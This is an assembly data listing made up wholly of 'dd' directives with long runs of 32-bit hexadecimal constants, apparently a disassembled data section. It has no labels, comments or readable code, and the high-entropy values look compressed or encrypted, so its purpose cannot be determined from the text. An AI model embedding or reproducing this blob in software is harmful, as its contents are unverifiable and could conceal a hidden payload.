dd 0CE0A370Fh, 0C160B8CAh, 0B16D30Bh, 27A3DA56h, 97545B61h
dd 7B0911E7h, 257EA490h, 94E99368h, 2AD2024Bh, 70896471h
dd 35578A8Eh, 97F5A378h, 6029CD1Ah, 0B5B6975h, 1F09698h
dd 3C34164Ah, 2F228547h, 0EE7E7713h, 4BFCFD5Fh, 0DEFE8B85h
dd 0A797C1C9h, 0C56F3893h, 0E084AA5Ch, 4E56A7EAh, 5807E46Ah
dd 0FBE770h, 9C91C781h, 66215C34h, 0A78081DEh, 1AB31D96h
dd 9D5193Ch, 0DC8D09B4h, 0BB6682BEh, 0B8D78E2Ah, 86041948h
dd 88905997h, 208305E8h, 90D68CDEh, 4D61BD33h, 0AD5E221Bh
dd 0F07B7263h, 8230A4BFh, 3B18ABBh, 0C2318729h, 0C4ECA09Eh
dd 0DE2639BAh, 0BFA1C4CBh, 59A00FA7h, 0FA00DB8Ch, 0FDB8600Bh
dd 0E610A90h, 6BF8D381h, 41FF4A8Eh, 18E8D9B9h, 3AE57101h
dd 5DD9CB97h, 53180494h, 5B150FE9h, 48751EABh, 0AAA340DDh
dd 0A0637402h, 71404D14h, 24F15A80h, 800F9989h, 9942CB4Ah
dd 5E953F66h, 476C87C1h, 905E8775h, 5BA3EC54h, 0E935CCBFh
dd 915F52C0h, 9642D71h, 34A9B31Ch, 0D0A4F780h, 4507CB6h
dd 58EA802Fh, 8AD2C8CEh, 5548FE6Bh, 0BF8DDF84h, 0DD65635Dh
dd 9F000C3Fh, 7DFFD3E4h, 2480F007h, 72BE202h, 4050AAF4h
dd 5609D567h, 0F2C1FB4h, 0DCD309DEh, 1D188EBAh, 24044A0Eh
dd 0A6D57A0Ah, 0A93571C7h, 578DD692h, 0CAB4C894h, 5FE63640h
dd 0BB7500D4h, 64BC2251h, 0B816592Ch, 88EA843Ah, 1A1CAC0Bh
dd 0E28B07FCh, 0BF80FD6Fh, 0B469DADDh, 891CFC9Dh, 744D615Bh
dd 0F122C4C0h, 9560EA80h, 21A4EFE7h, 61BE05D6h, 0AF0D69A5h
dd 6F020B39h, 0BE04F551h, 0D75B0928h, 0A6F32098h, 137B4111h
dd 0C215C8AFh, 84F31A12h, 74C39C73h, 811499B4h, 27F60760h
dd 7245042Fh, 3D05253Dh, 29A50914h, 3B6DA601h, 8BB13F09h
dd 27D9CE2Bh, 0D8D753D0h, 0F89D7871h, 16592031h, 0C4DE4DB5h
dd 0B0B9611Bh, 160E61C8h, 0E67DECh, 48313969h, 0F9136075h
dd 0B5A63EB5h, 0D28865Fh, 59F65B95h, 0D4181Dh, 0F917793h
dd 294055B7h, 0BD893A09h, 41A25E2Dh, 2A6239EFh, 0E65A03F7h
dd 0F1D5A391h, 55B853CFh, 0C5B8E98h, 9F4F80E7h, 13D9E1E5h
dd 1CA72Fh, 12E86F39h, 0E3ADC53h, 215D1D50h, 12D33D2Eh
dd 0B45D30DDh, 0ED0E4122h, 99F03D4h, 0C96E56ABh, 4C554EEAh
dd 45B5BD4Dh, 5E98A900h, 12623A26h, 0EF0BB47Eh, 0A6BFCA20h
dd 0B72AE0E4h, 14641E6Dh, 71559262h, 0E15960A3h, 0B900CDF8h
dd 0A768F324h, 5B042BDAh, 5528F331h, 5AF72A10h, 0FD1117B0h
dd 3F4A8B01h, 0FC2118A4h, 0B282F63Ah, 0AB963015h, 0CE85313Fh
dd 660F18CAh, 0B6D371BFh, 301DB217h, 9C00172Bh, 421558B7h
dd 5ED3DCCh, 16E50BBh, 30F27Fh, 0F88F75F0h, 27FE13FBh
dd 29605DC9h, 22244CBBh, 5009150Ah, 0C0834D20h, 0E1A13BD4h
dd 23FDBB0Eh, 9B35331h, 11DD2B25h, 6731957Ch, 6B9EC92Bh
dd 0EAC9069Eh, 8A61E35Ch, 0AA266AF9h, 2BD91F00h, 0C60ADFDh
dd 0F1176601h, 0ECF46404h, 49485C26h, 0C6C2B305h, 156BFF54h
dd 16011823h, 0D833D1B8h, 9098276Fh, 983E8620h, 455FDD00h
dd 37136261h, 7B5201A8h, 8646E1DFh, 41B22074h, 965F96A8h
dd 0D449859Ch, 0BF2120Eh, 9DD412C4h, 3BB85092h, 7D8FA080h
dd 0ED006E17h, 47E12E6Bh, 69FB8B53h, 0AFFB4C5Fh, 9545A571h
dd 0A1830EDFh, 46B0A7CBh, 0F895651Ch, 0D1569786h, 0C19B4D6Bh
dd 0F82FE09Dh, 27121FE3h, 8105E3Ah, 83D55C60h, 0F8839E26h
dd 7D33683Fh, 0C97302A1h, 50C58AB8h, 2E51C076h, 60C0EA17h
dd 0C4D1E365h, 69738919h, 0A66A34F2h, 54DCF1EFh, 0FC33F92Eh
dd 0DB3E099Bh, 0AB04E81Ch, 6ADEF1C5h, 95A86BF2h, 10C15658h
dd 5F2E1FE5h, 1D2F0A3Eh, 1A46D45Ah, 376B7400h, 4ABBB890h
dd 17146FB7h, 0B032E75Ah, 3B8E9DF0h, 5E80E546h, 60BF766Eh
dd 6113B032h, 0B4B6F98Bh, 0E0BD9D13h, 5B9DC623h, 6D60D00Fh
dd 0DA8BCC13h, 55DC3CAFh, 38D80344h, 0A4D6FFF0h, 5DD816F0h
dd 0BB9ECE09h, 68103A0h, 8B39C85Eh, 0BCED95C1h, 553592C2h
dd 9D10B8CCh, 65481FF5h, 0BB81C1C0h, 0CE00D18Dh, 0E0E78FAAh
dd 4342789h, 90887A1Fh, 0E3118483h, 0D54A62EDh, 0C8E55502h
dd 2B791A31h, 0B2EAE62Ah, 7C5301Bh, 920EAF01h, 6A05B278h
dd 0BC42F93Ah, 3A10E889h, 8589B71Eh, 0A7101F49h, 3D279D09h
dd 8F9A2218h, 1F5BD7E1h, 1CC6978h, 99B79F2h, 3B3892CEh
dd 746EAC17h, 0A99BD900h, 0A4AD790Ch, 72D4D612h, 162063BCh
dd 9E963FB8h, 25AD949h, 29392BA5h, 0F67605Fh, 0BFE69D31h
dd 20EB604Ah, 0F98D01DEh, 0FB9A96BEh, 805835ACh, 3912DE8Eh
dd 7D19FB62h, 0FA52712Bh, 2204FA05h, 0CBEDAA9Dh, 91340CADh
dd 1D5F634Ch, 38494CD2h, 9E5F4A2h, 0B9D96141h, 5CB299Dh
dd 0A530572Ah, 543C3B39h, 0A07980F7h, 0D1423883h, 0F51F01B5h
dd 0D67D9C65h, 17F1E6FFh, 0D5379600h, 9DE29311h, 5642C194h
dd 352F7621h, 0E11000F4h, 5AA43191h, 39E9FC5Ah, 2D78082h
dd 0D32564E5h, 2E885063h, 0A913E075h, 38BA03E9h, 0E15A994Ah
dd 5DA022F7h, 2FBEFD34h, 144C7D40h, 5E5C7CBFh, 17EF6E32h
dd 0D9AA7DFDh, 6AD46F55h, 23176BBAh, 87FF0117h, 2F56DDB7h
dd 8501D090h, 0AF165AADh, 645A196Ah, 0D8A7AAD1h, 3195E04Ah
dd 51C81383h, 657ABA16h, 50001B23h, 531DF64Ah, 0A0BE2771h
dd 0A8F35A00h, 109D5FAEh, 723F37E9h, 0E9BF4E0Bh, 0EB81C173h
dd 0B86F1F47h, 61AAD697h, 2E31A5E4h, 0D09C98h, 615E6D8Ah
dd 44C325C5h, 0FEC97105h, 81BA6AA7h, 80629A8h, 13CCBAD9h
dd 0B63FDB80h, 0F887451h, 0BF57A08Ah, 3A360A08h, 8BFEB037h
dd 5B760F91h, 32E9124Dh, 7A55C96Eh, 9D29A2B0h, 81F75299h
dd 120CBB4Fh, 0A46B367Dh, 34E822Ah, 281688Ch, 99C63BCFh
dd 7DA6BA22h, 2D20CAD8h, 4ECA982Ah, 812BC4F5h, 6E0271C9h
dd 0D10163C8h, 2B13EDA6h, 3E85E7C8h, 0FEF4481h, 14A5BB47h
dd 0EBD3D18Fh, 0A09DE3C8h, 0E6F8BF4Ch, 63D4BE80h, 5F8B4C44h
dd 3A6761F0h, 2AF6B4Eh, 15B195B5h, 0BDD94E1Bh, 20BED233h
dd 0A4BB9223h, 0C6019400h, 3534955h, 92C1599Dh, 111E5B24h
dd 20BB0257h, 7601B78Eh, 0D39DCF2Ch, 222BB247h, 51809D3Fh
dd 9419EDAh, 57C9B532h, 0C9327661h, 0B5E5CF18h, 62EBCB00h
dd 9F0BDF85h, 371C3AD8h, 0D181B783h, 701A4A7Ah, 1BEC2054h
dd 79D0D884h, 49B19D7Fh, 2A0FF95Ch, 0CBC015DBh, 8CB28925h
dd 0A72CEA04h, 51E8E52Eh, 60513320h, 0A6896A84h, 27466A6h
dd 4CC1CCD4h, 82BCF1DFh, 0D8B9FE8Bh, 48B66358h, 23F13C40h
dd 0C5D00B6h, 5A0DA5CDh, 0D20006CAh, 5805087h, 9BF4344h
dd 24B3DAB8h, 559444D8h, 7EF27DCh, 0FACC1057h, 88A85B0Bh
dd 1600C407h, 0C07ED6FEh, 1AFC14CAh, 0C5458D09h, 0F5EB0957h
dd 2FF3896Ch, 0D22BB121h, 3915717Fh, 0CB2E0729h, 0F33C76C1h
dd 2A999DD8h, 60FA309Dh
dd 0E81C3DB5h, 42207BC5h, 3C18D271h, 9C0B40Fh, 0FD5802EDh
dd 0F97502B2h, 85BF8472h, 0ACF3E9B5h, 0A0018C1Ah, 62F0ABB8h
dd 3D30BA8Ch, 0AF094E65h, 6A4B123Ah, 56BB1692h, 253F95FCh
dd 0B9ACF8C0h, 959D010Bh, 71DF7412h, 0ECD03D82h, 9578D3C9h
dd 0FE0125FEh, 0AFD203DBh, 728226D4h, 5C737DDAh, 29481951h
dd 4EA504F4h, 0B7B57747h, 26F91058h, 80E1FF02h, 0D6742EE3h
dd 82045250h, 2800C3F9h, 0A325E51Dh, 982F00F8h, 0C07830F4h
dd 0D04E0504h, 0D56B61EEh, 745F022Eh, 0AD3F51D6h, 5BECD05Dh
dd 8CCFA30Ch, 5DF9F3F6h, 2EBDF360h, 0B92041C9h, 0A2014B6Dh
dd 0BD2904C8h, 9B340295h, 99B0C78Ch, 0F653AC90h, 0FF6297B4h
dd 438BA15Eh, 0D076F301h, 0E2B7FC53h, 1335571Ah, 57811791h
dd 6EB1998Ch, 41457E9Ch, 7826E0Eh, 0A7B374F0h, 4F47176h
dd 0AA4C6BDBh, 0C487FE90h, 0C0014D4Bh, 6608E914h, 84401B68h
dd 9668F807h, 60C8C74Eh, 74612582h, 4C690F47h, 0A4733869h
dd 76FDC70h, 0BF476475h, 38192087h, 31259D29h, 69E0D133h
dd 0F8409ECDh, 4EB3727Eh, 60498D43h, 778A0864h, 61603918h
dd 102EE934h, 0E059A6AAh, 9FBB6D9h, 5D803861h, 97A3E455h
dd 0D2AF09BDh, 810F284Ah, 89D69538h, 41BCD540h, 6F3E1CC7h
dd 372301E7h, 613878B8h, 208F540h, 0D8E78461h, 8DEE61BAh
dd 0E88A2EEDh, 0CB042158h, 0E86404B2h, 0A4C65C3Dh, 271136C1h
dd 3F68C104h, 8B9E6E7Fh, 0AFE0438Fh, 5EB6E2EDh, 598FDB95h
dd 0A22F191Ah, 97B1024Eh, 0F4C99D23h, 86782DA7h, 1CC81AE1h
dd 83733BC0h, 0AD8802DDh, 8BF5C43Dh, 0D82CE37Fh, 177BD409h
dd 0A7515750h, 92962776h, 88E7C098h, 17640045h, 6B3423CFh
dd 1A9D7977h, 0BA60D553h, 85972BFAh, 8BAEF9DBh, 874C5830h
dd 54B5B486h, 2A53D9FFh, 1D718CF2h, 0F494B350h, 8401ECD5h
dd 0E4EAB878h, 221C7C2Bh, 0BFD95239h, 0BC2A5F77h, 0F6087ABh
dd 2A96D569h, 96258EBFh, 4F80B2DBh, 3D731DD6h, 0CF2EFA74h
dd 2E906A29h, 0A8C80C69h, 0FC9D858Dh, 8348F65Ch, 0A0A84BCFh
dd 2CEB508Dh, 3ADF55B9h, 1CA83CB9h, 0BC0033A4h, 1A016058h
dd 0F44582BFh, 0B79561h, 79090B09h, 0B08167E7h, 3E179BCFh
dd 0EBE01497h, 0DF892F38h, 0A620C679h, 0D74B4569h, 15F1E635h
dd 98021418h, 590FE9BBh, 705A5B62h, 0D6B07F9Dh, 0E5E57325h
dd 524F12C5h, 0E18AB6C8h, 28F88559h, 651A09A7h, 0CC5D510Bh
dd 211D20D7h, 0CDEF5B52h, 0F96E7C11h, 427B85Fh, 0A37C97C4h
dd 0D809EF41h, 6694D520h, 10B02B0h, 5D2A3195h, 0E551103Ah
dd 0B5B4CB16h, 584816DAh, 0C437001Ch, 560CB026h, 0AC853D4Bh
dd 677BBFh, 18B3DBF3h, 12ACB006h, 0EBD980D4h, 0D89703DAh
dd 961D504Fh, 0BB075F51h, 72578634h, 73C8829Ah, 5D07D387h
dd 39BB4634h, 9AF07A6Ah, 0AD065E41h, 99FECC8h, 5A181787h
dd 73694774h, 181B594Ch, 0DA27003Fh, 4FEDCAABh, 0BD1731CBh
dd 75AF12E1h, 80F4A8F9h, 0FD29DD2Ah, 92E600D3h, 0B6B59EC0h
dd 2C079A4Fh, 7D7B68B7h, 35819B44h, 9E6AC486h, 0D363C032h
dd 25805CCCh, 7CD952E7h, 2F7B0054h, 7F303145h, 8997F523h
dd 81842050h, 58A099CBh, 501331E6h, 82869B20h, 0DD0523AEh
dd 425CE632h, 6A5F5241h, 4ABD6F6Fh, 896622EAh, 2F2861E1h
dd 257C698Ah, 0B1542735h, 4A1B46DEh, 690F42AAh, 0D975BA17h
dd 1296130Ah, 8085B238h, 0B4FD50DAh, 3931006Ch, 29018187h
dd 993F92A9h, 0C0775C8Fh, 5C9E4910h, 0A80E00E5h, 0EFA7E3D3h
dd 68C59687h, 6FBA1B79h, 3D1C2377h, 3560EECEh, 0B5059D03h
dd 0CD499979h, 2936C042h, 0F5B59BDh, 37882FB3h, 40E57CA5h
dd 0BBFC0EF1h, 0FD37E0Ah, 5058A386h, 0C149003Dh, 728E319Bh
dd 1905B224h, 324D2ABDh, 0D84C90EEh, 0F20FBF50h, 5312BC68h
dd 19B9CB04h, 0E545A6FBh, 0B8216670h, 1AC1B7B2h, 0FD752E15h
dd 0C200D8A2h, 6C6E34F8h, 2E099913h, 735FAFB7h, 181659E5h
dd 0EC0C0226h, 212DBD23h, 80B5EE75h, 9060FA80h, 0BEC20FE0h
dd 17E4698Ch, 0A4F4B861h, 9B2652FBh, 0BA11811Eh, 0F9D09BE1h
dd 4C5E9769h, 0ABAED4h, 75DF2FF5h, 0DB105954h, 0B27AC65Fh
dd 17EBDE01h, 8F912C5Ch, 8B9589DAh, 0ED9E572Fh, 75C1BB03h
dd 0A5E92EA1h, 6F1113BBh, 57202593h, 999DC298h, 0BCBC184Eh
dd 0A000B6D7h, 253715C7h, 0E1CE8DB3h, 0B5207122h, 0FDD86B93h
dd 0D074FBFh, 0B9618AECh, 0E09EC500h, 0F159B526h, 444817F9h
dd 0A1290B49h, 375D6A07h, 9DA8A6B8h, 88445E5h, 0BCCCA96Ah
dd 74FC4871h, 1062B75Eh, 94402ED9h, 0FF12DD1h, 0EF12AE54h
dd 0F809F0E0h, 0FA024A29h, 13FAAC35h, 393F6FF7h, 551B04A2h
dd 0AC2BECCh, 0A7AB55CDh, 25DE1AD6h, 92D7CE79h, 4A5E8EDEh
dd 0F62B12h, 47C031F5h, 0FC93AB49h, 574B6BBEh, 7D008F64h
dd 0B090FF10h, 437CD36h, 7F319AB2h, 0A7DAEB7Ah, 1FC3FED1h
dd 0BF80F3BCh, 5225B368h, 9002E65Bh, 0D1BBA058h, 19BF1266h
dd 89E1E299h, 4F3DD5B7h, 4C0B1B9Eh, 854DF6B6h, 0BA18E595h
dd 0C4B6D134h, 5FF7FEA4h, 80154354h, 6809EF81h, 126A0D3h
dd 3EC8BB37h, 0E807043Ah, 0B9875E0Dh, 0E0F0DE89h, 980AD1Dh
dd 1F0462F8h, 0F2103FFh, 0D0BAA831h, 362109C2h, 880BB966h
dd 5E586255h, 343FDCDBh, 985800B5h, 89334AA7h, 0B2F14B8Dh
dd 2D1594F4h, 0C617D9B7h, 40B332DBh, 1BF09D0h, 79D7F8FBh
dd 3B604056h, 28237C08h, 54982503h, 1C70BC73h, 89EEB7FCh
dd 1F423A97h, 0EA7EAF2Bh, 80F82AE0h, 0BF7F02CBh, 6519ABF1h
dd 0F742DF2h, 13258091h, 8A19E814h, 9DAF006Ch, 495A4223h
dd 0C602EFC0h, 0FEAD1B3Bh, 5BFB82A3h, 40C5FC90h, 799249ACh
dd 0C4E2FB09h, 3C437B60h, 1DEEB90Eh, 88846569h, 12745403h
dd 1FF661F7h, 4E39B240h, 0CE6EAF13h, 0A84EEA57h, 211705F8h
dd 0E0AAC85Bh, 1F4F8D91h, 74A66CF7h, 0D9A18D25h, 521B648Eh
dd 40AFD916h, 0A03EBB78h, 0E4252450h, 23161071h, 0B99C0041h
dd 0A2B32535h, 7C0474E5h, 7A1A3AEEh, 5F97F6EAh, 822AB5A0h
dd 8181205Dh, 7A4768D7h, 0C73897BAh, 41E3D6Dh, 718924A0h
dd 215801A5h, 0F4615B07h, 0D2BCF87Bh, 42E16D12h, 928CAC6Ah
dd 0AC3A42E1h, 0C82B80F8h, 9C219D09h, 89D18236h, 0CEFE6585h
dd 9C619B91h, 7AD6D8F7h, 0C2606F8Dh, 554C0150h, 0DD81BF47h
dd 0F9BC2ECFh, 9B7E5127h, 8529CB02h, 0DAFA90Dh, 17522030h
dd 9773D5DEh, 88CCDB2Dh, 569527BDh, 0D2C30945h, 0A4357923h
dd 1DF30258h, 0D6896137h, 394699D7h, 25860414h, 6529BB2Eh
dd 2E159E42h, 0C2D687C9h, 81A750h, 6F641D21h, 66DFCAADh
dd 0E47F0C82h, 0B2215BBDh, 6F34844Eh, 6AF88B02h, 0E0E76DF5h
dd 3295A127h, 82A07200h, 8A605D90h, 0E984C5F4h, 0A9AE5006h
dd 0ACAEE94Ah, 19E68C1Ah, 3AE37805h, 0C304BB3Dh, 0B902332Dh
dd 3DDD0EF1h, 1A7B0AABh, 0E910995h, 0EBC6E755h, 0CFFC23ECh
dd 0E14E0E62h, 3BFC072Eh, 2B431D7Ch, 0BFD291C0h, 5BB420F4h
dd 8142B664h, 0F8DAE381h, 6E3ECF71h, 4CE000F0h, 7578EB89h
dd 0A14D7187h, 0DC2E199Ch, 65F60352h, 4AED2E4Ah, 98C18BCh
dd 0BBBE3ACAh, 2ED06E2Dh, 0E3F8529Dh, 3F4425CDh, 7693CE5h
dd 0DD89F584h, 47E1154Dh, 8EBAD4F1h, 35E70125h, 7730761Ah
dd 0B280C337h, 8218EFF2h, 4D762758h, 452D1164h, 58F95E17h
dd 3E094A28h, 792E3F74h
dd 0BD33024Dh, 71D52491h, 3BED4B8Ch, 0E6455240h, 58630E2Ch
dd 0FFA0AD31h, 828CBFE1h, 0E5605725h, 63B11A29h, 0DF9BA02h
dd 9FA4757h, 414F03B9h, 8A4A6C43h, 53275E58h, 829EEEFCh
dd 0E89CDAC2h, 17557140h, 74BF6080h, 38EE25B4h, 0BBDB29E2h
dd 55B4370h, 32DF36B2h, 16D5A844h, 14EC04C1h, 0BACCBBC4h
dd 0BA4FDFA2h, 482E1D2Dh, 2B96293Bh, 0EA9232A8h, 0B69220DAh
dd 0BE4500C8h, 818C1B2Ch, 0B69009DBh, 0CCD532EEh, 89C179EDh
dd 10C36E60h, 0F6BA98D3h, 11616BC4h, 3182A256h, 8913FD95h
dd 8010774Ah, 0BE00761Bh, 8DB4ADFh, 9DC58h, 68BA8E89h
dd 26DEFAE4h, 0EA0E3FEDh, 755B0980h, 0FF2EC7E5h, 2B781180h
dd 2F64562h, 0E7F49D46h, 0E275DA8Fh, 0F2B25732h, 1CE8F175h
dd 93D56561h, 562400FFh, 225513BFh, 0CB955F68h, 0C4B0D15Bh
dd 0D78952D4h, 9E20AA31h, 769234h, 27DF91E7h, 2FD4693Ah
dd 0B00BC477h, 0F47236EFh, 319E4095h, 66052C3Bh, 0C3D2537h
dd 0ED17FE00h, 12585F5Bh, 0BBFFCB80h, 65BF1260h, 2C9A979Dh
dd 2B075F7Eh, 1B4E90Fh, 80AEDEAAh, 10D8237h, 4BF07E3Dh
dd 3A21CDB5h, 18C1D1B5h, 0B1D5E72Ah, 1F6AA353h, 0E7D1AD05h
dd 30AD974Fh, 4FE7F35Ah, 94EF3C85h, 4EDBAB58h, 0D160AFD2h
dd 979D2942h, 98AAAC5Ah, 8032BDDFh, 0F3AC5D4h, 839EDBC6h
dd 74F26225h, 3404DC65h, 0E966B6BAh, 4EC0DBB8h, 35C66141h
dd 99221C00h, 3233E3FFh, 20BF0250h, 9662919Ch, 8961BAD4h
dd 0BD2A1DB5h, 68A0D8C5h, 48B470B2h, 0DF133B91h, 4DAFA0E1h
dd 6F1E4F09h, 0A57571F5h, 8E7EE3F6h, 0CFC409FBh, 46C6BD89h
dd 57DAE025h, 4C2C89B5h, 0B28A1FE0h, 78CE000Fh, 963F27Eh
dd 3340259Dh, 6E614EF5h, 13524Dh, 0A293D198h, 9BB2E05h
dd 11E7D327h, 0E6B8771h, 3DBA32CEh, 0DD29CA40h, 80226DC1h
dd 0BF12B311h, 4B811EC4h, 0F8889A6Ah, 0F8008C1Bh, 0C174B843h
dd 0B7300698h, 9D2769F8h, 0F43ED60Fh, 17B55900h, 0BFA95276h
dd 20401DB6h, 66B24226h, 0CAD14C91h, 3849E201h, 352CEC58h
dd 0B1B876A0h, 0C5097E25h, 38CF1DB2h, 0BC9DED4Fh, 228617CCh
dd 0CB32EE2Bh, 0E696DD8Ah, 0F95B9B64h, 0F357DCEAh, 0C6324A25h
dd 0B9F85A7Eh, 0AC17AC27h, 43253CC7h, 1974A4A7h, 0D099DC1h
dd 0E081EF04h, 0E76AFCC2h, 4019B0D4h, 659101CDh, 2E28B5B0h
dd 4FD287C0h, 768A933Dh, 0DDFA5244h, 0C3AC7B71h, 0BF575B25h
dd 458C8064h, 0C5A4CA70h, 0F1969FB0h, 646E6DA5h, 0E6676016h
dd 8B502F7Eh, 5F4B50C4h, 0DA6CBA04h, 0C8379AAEh, 0C03AC714h
dd 53F76AE7h, 31AF085Ah, 19D9B713h, 4B2D0764h, 8C3B857Fh
dd 500AE4B3h, 54EF007h, 6F78C0D2h, 5F0C25BAh, 905550C2h
dd 1CF83D42h, 408359B9h, 556A42Dh, 0B328D25Ah, 9C0BEB61h
dd 7433FEC7h, 59EDE9A2h, 2509784Bh, 0AF732A3Dh, 0A0ACF996h
dd 0E9151696h, 9379CEB3h, 0AB918CAFh, 73DA9A4Ah, 8BCD305Ah
dd 0FEBA50DFh, 9FE7D497h, 7956A7B7h, 38AD1902h, 858B0A06h
dd 0ABDA8B60h, 734C6AA6h, 8F39A24Bh, 9895B229h, 858E60FBh
dd 3A972F49h, 58E40312h, 0E675CA44h, 0D0D19702h, 260D18Eh
dd 5CFA64A2h, 0A56B5107h, 78FF7B30h, 0EC4A6922h, 0CB05BBF2h
dd 0AA8B2808h, 96C9E7B1h, 0E16EDEDDh, 0F8AD2E27h, 0E0D1E7C0h
dd 0FE017BD3h, 19406561h, 6E2B9693h, 0FB220AD1h, 90BF03Dh
dd 59CE7423h, 1C881BDAh, 0CCD5E8C0h, 3C86053Eh, 0BB2915B9h
dd 0BD230D30h, 0ED2EEF61h, 636AB9D8h, 319821F7h, 6C948595h
dd 0F3E95B16h, 0A84EB9D2h, 0DCAE017Fh, 0E6541C07h, 29E1CC9Dh
dd 2D919512h, 28E24CB8h, 7E9ADF2Bh, 3F5651CAh, 3060EB68h
dd 8C92FAh, 0DDA338CAh, 0C67EB0E8h, 4903AEB7h, 85CD7503h
dd 528AFB2Dh, 0B4F55175h, 0E854BBA8h, 51A17607h, 9C26E67h
dd 0ED925D89h, 0D753C07Fh, 0C01B12D4h, 0CF6B354h, 4B619D31h
dd 0EF5D290h, 44F8DEE2h, 0C5A42175h, 70828B97h, 8A7CBFA2h
dd 93680CDEh, 8E86108Bh, 0CE73D6E1h, 7C716178h, 0BF1402FCh
dd 3FF8B30Fh, 5F2FC756h, 31900011h, 0F904A765h, 1A462FECh
dd 60A95700h, 0E382E5A8h, 0E67E0204h, 330EBE97h, 45BB7860h
dd 1A416CEAh, 0CC5C12AFh, 0AF1C5E5Bh, 0C9A2B621h, 0D1A6C4h
dd 0B51A5711h, 0CEAE810Ah, 7632E927h, 2D1A490Dh, 859AD9FFh
dd 0AA5FE1A1h, 0D99513C0h, 0F0808029h, 0CF9561ECh, 0B7DE4085h
dd 775A2C5Ah, 11D4491Fh, 69B5C2F0h, 0FAED5517h, 0A1E0F4E8h
dd 131C5BD5h, 44519D29h, 0ABD98BF8h, 14C8FEDAh, 55F869CEh
dd 0FF27D2C4h, 0C068EDD1h, 799C010Ah, 99099D71h, 0E4161FC0h
dd 0F39F1C62h, 38A10075h, 4645F240h, 263AA200h, 98B6645Eh
dd 5BF70481h, 0EE63B7CAh, 4821488Bh, 48F60212h, 500DEAE0h
dd 36FA604Bh, 3AA20B94h, 0BDCD10F7h, 0DD334A01h, 0B5F201B3h
dd 0F0BB0307h, 257D4326h, 0FF597BE9h, 100598C7h, 9F4D30FBh
dd 0B0097959h, 5D91FAF9h, 0B89000B7h, 8504D921h, 0F8099293h
dd 7F6E755Ch, 8AAC6D52h, 0BC09BFB5h, 8F9C572Fh, 0D4C494h
dd 0DF749EF1h, 0A67011E0h, 29BD0B09h, 0A7605B02h, 0A96AF907h
dd 17C0FE4Dh, 2BF12FCh, 4FBCBB4Ah, 0E6F735C0h, 9D0B0C15h
dd 0B5790579h, 2DF5D57Fh, 3DBC68h, 0BF217022h, 0DCDB6E6h
dd 297E0497h, 18A27AACh, 0C508D12Ah, 0F0B01728h, 32B82B8Fh
dd 133D32F9h, 5B270E6h, 598D5300h, 0B619FD3Fh, 0C72B3B09h
dd 600F0778h, 0C8AE8B14h, 0BF090F52h, 0F55F61CFh, 0DB6025C4h
dd 8FD5BB49h, 0AE334ABFh, 0BAF8F144h, 4D34DCF3h, 0B263C4B1h
dd 29120064h, 0C34B5C04h, 0F0DB0092h, 39B10DB2h, 0B00BD307h
dd 7529DFB3h, 3A01296Ch, 0D7DE8DF6h, 0A9144A8Fh, 50D108Eh
dd 0E9E5E092h, 4C958770h, 0DC2000D5h, 1CF71171h, 0F4008C64h
dd 0FB6B08D4h, 17A41BC4h, 72A9D74h, 4E491Bh, 8FCF8144h
dd 2B01CDFDh, 40489911h, 503DBED5h, 1EC33751h, 0BFCB8001h
dd 998482Bh, 0D80DABA0h, 133DE961h, 0F98B352Ah, 5BD8275h
dd 0C6EC5515h, 8D302245h, 0F22B5A35h, 59BDC4F3h, 7601434h
dd 0B6740A12h, 7E251077h, 33DC0127h, 5E494449h, 0D3C5B921h
dd 90F0208h, 944254B9h, 372F0B54h, 0D8180020h, 0A52FDB7Fh
dd 3B261724h, 19131588h, 34097261h, 0B79FFC17h, 386904C8h
dd 0A9A08178h, 0F9610722h, 9041C02Bh, 0F23A1B55h, 0C3A692CCh
dd 0E3E7E8A0h, 6228DB75h, 0A125C36Dh, 60915B22h, 8BFAF381h
dd 0AD635D3Eh, 809DDBDh, 11863557h, 82438018h, 97392AA1h
dd 79B5CF30h, 82B1598Ah, 26D9BD23h, 71997355h, 2184C31Ah
dd 25E4E799h, 0AFE28E2h, 0B53DBABAh, 9C76A459h, 4B33C159h
dd 0F6C63188h, 0E7BB6620h, 434DB56Bh, 0CA6AFFCBh, 30DB7B41h
dd 2BE1E9A2h, 0BFAD8F38h, 876056EFh, 2650C75h, 1E629A0Dh
dd 6D77A611h, 62144439h, 51895702h, 0CDAD9353h, 3F674074h
dd 0E50B78FBh, 0BBF3652h, 6034540Bh, 0C08AE881h, 610EFF1Ch
dd 2685217Fh, 30FE1602h, 0F85A6B36h, 72869C00h, 20BB1EACh
dd 84171223h, 5285006Ch, 5F25E376h, 33E1FF29h, 15C64525h
dd 0F934F5B4h, 0DE2AA66h, 0F704BE85h, 0E8AFA1EBh, 2A127968h
dd 89C7B2C9h, 0F6E6F659h, 7C1C3D2Dh, 2629100Eh, 1DE3960h
dd 4AF89873h, 2BD258EEh, 0A26FE316h, 0BCAD017Bh, 0A336AEF9h
dd 0D7FC8403h, 0E2AC4E72h, 963BDB4Ah, 5BC16EBh, 0AF1A85F8h
dd 1A3BCE32h, 7BD4DE56h
dd 0CF8E01FAh, 0DF98E090h, 78322A24h, 0E1EA7556h, 0D09A5355h
dd 0F07A2560h, 0E162EF04h, 4BE4173h, 13136951h, 0D7091D0Ch
dd 0FB904F61h, 0F5D7E830h, 36283AADh, 0F5ECC637h, 1942AB5Bh
dd 705325BFh, 56572535h, 0DB4C0B77h, 0C4F7787Dh, 0D4AE6702h
dd 82E8D98Ah, 935B9h, 0D0F1B168h, 32C8294Fh, 8F170024h
dd 7662828Ah, 0D3003537h, 0E9E589FEh, 4BD2991Fh, 0DD9F20B0h
dd 0FB1FA50Bh, 0EC4FFD4Eh, 0C3290361h, 3F4CC8A8h, 545697B6h
dd 0F1AA5B44h, 0CFF2FC33h, 26A2294Ch, 3109C9D9h, 0A7915113h
dd 0FE547C62h, 20377D49h, 0E32C6680h, 76FDEC8Eh, 63C0BD38h
dd 0E912E2B7h, 74EA01EAh, 8204AD81h, 5586C781h, 7397D6E6h
dd 0B9FA78B8h, 49DF5C95h, 0DEDD29D7h, 0D012F6D0h, 65EE87C7h
dd 5A2CE3F4h, 2A2DD2A8h, 25C6E79h, 0A87FEFAFh, 0C4D503EAh
dd 0FF894F04h, 35950460h, 0F0D99520h, 55F12C5Ch, 0E1BD0C93h
dd 851201C9h, 2DB91911h, 5C8C1AA8h, 0AE4FBD8Eh, 5B34A314h
dd 515401AFh, 28EB8A60h, 0C27880E1h, 2FE56EDFh, 665EFCC8h
dd 0D08B6005h, 13AAF6AEh, 80BB19E7h, 9686DC8Fh, 0DCE1BEh
